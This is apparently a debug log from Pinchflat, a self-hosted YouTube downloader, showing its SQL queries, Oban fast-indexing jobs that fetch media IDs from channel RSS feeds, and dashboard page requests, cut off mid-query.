PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 16:11:02.274 [debug] QUERY OK source="settings" db=0.2ms idle=1334.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:11:02.274 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1334.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 16:11:02.275 [debug] QUERY OK source="sources" db=0.0ms idle=1335.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 16:11:02.278 [debug] QUERY OK source="media_items" db=3.3ms idle=718.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:11:02.278 [debug] QUERY OK source="media_items" db=0.3ms idle=338.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:11:02.278 [debug] QUERY OK source="settings" db=0.0ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:11:02.279 [debug] QUERY OK source="settings" db=0.0ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:11:02.279 [debug] QUERY OK source="settings" db=0.0ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:11:02.280 [debug] QUERY OK source="media_items" db=0.4ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:11:02.282 [debug] QUERY OK source="media_items" db=2.6ms idle=1.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:11:02.283 [debug] QUERY OK source="sources" db=0.1ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 16:11:02.289 [debug] QUERY OK source="media_items" db=6.1ms idle=4.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 16:11:02.295 [debug] QUERY OK source="media_items" db=6.0ms idle=10.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:11:02.296 [debug] QUERY OK source="tasks" db=0.1ms idle=15.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:11:02.296 [info] Sent 200 in 22ms 16:11:07.572 [info] {"args":{"id":1},"id":700,"meta":{},"system_time":1784909467572157560,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:11:07.572 [debug] QUERY OK source="tasks" db=0.3ms idle=1632.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:11:07.573 [debug] QUERY OK source="sources" db=0.8ms idle=1632.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:11:07.575 [debug] QUERY OK source="sources" db=3.1ms idle=1009.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:11:07.576 [debug] QUERY OK source="settings" db=2.8ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:11:07.576 [debug] QUERY OK source="media_profiles" db=0.0ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:11:07.576 [debug] QUERY OK source="settings" db=0.0ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:11:07.576 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 16:11:07.616 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 16:11:07.617 [debug] QUERY OK source="media_items" db=0.4ms idle=43.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 16:11:07.619 [debug] QUERY OK source="media_items" db=2.2ms idle=41.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:11:07.620 [debug] QUERY OK source="tasks" db=0.0ms idle=44.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [703, 1, ~U[2026-07-24 16:11:07Z], ~U[2026-07-24 16:11:07Z]] 16:11:07.620 [info] {"args":{"id":1},"id":700,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":48328,"event":"job:stop","queue_time":410121,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:11:07.621 [debug] QUERY OK source="tasks" db=0.3ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:11:22.586 [info] {"args":{"id":3},"id":701,"meta":{},"system_time":1784909482586138113,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:11:22.586 [debug] QUERY OK source="sources" db=0.0ms idle=1646.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:11:22.586 [debug] QUERY OK source="tasks" db=0.1ms idle=1646.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:11:22.586 [debug] QUERY OK source="settings" db=0.0ms idle=1007.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:11:22.586 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:11:22.586 [debug] QUERY OK source="sources" db=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:11:22.586 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:11:22.587 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 16:11:22.612 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 16:11:22.613 [debug] QUERY OK source="media_items" db=0.3ms idle=26.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 16:11:22.615 [debug] QUERY OK source="media_items" db=1.8ms idle=26.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 16:11:22.616 [debug] QUERY OK source="tasks" db=0.0ms idle=29.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [704, 3, ~U[2026-07-24 16:11:22Z], ~U[2026-07-24 16:11:22Z]] 16:11:22.616 [info] {"args":{"id":3},"id":701,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":29974,"event":"job:stop","queue_time":440612,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:11:22.616 [debug] QUERY OK source="tasks" db=0.2ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:11:23.779 [info] GET /sources/1/media/6 16:11:23.779 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6", "source_id" => "1"} Pipelines: [:browser] 16:11:23.779 [debug] QUERY OK source="media_items" db=0.1ms idle=1163.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6] 16:11:23.780 [debug] QUERY OK source="tasks" db=0.1ms idle=1163.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6] 16:11:23.780 [debug] QUERY OK source="sources" db=0.1ms idle=1163.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:11:23.780 [debug] QUERY OK source="settings" db=0.0ms idle=1158.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:11:23.781 [debug] QUERY OK source="settings" db=0.5ms idle=199.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:11:23.781 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:11:23.782 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:11:23.782 [info] Sent 200 in 3ms 16:11:27.126 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:57.127 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:00.655 [info] GET /sources/1/media/5 16:12:00.655 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "5", "source_id" => "1"} Pipelines: [:browser] 16:12:00.655 [debug] QUERY OK source="media_items" db=0.2ms idle=1715.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5] 16:12:00.656 [debug] QUERY OK source="tasks" db=0.0ms idle=1716.0ms SELECT t0."id", t0."job_id", t0."source_id", 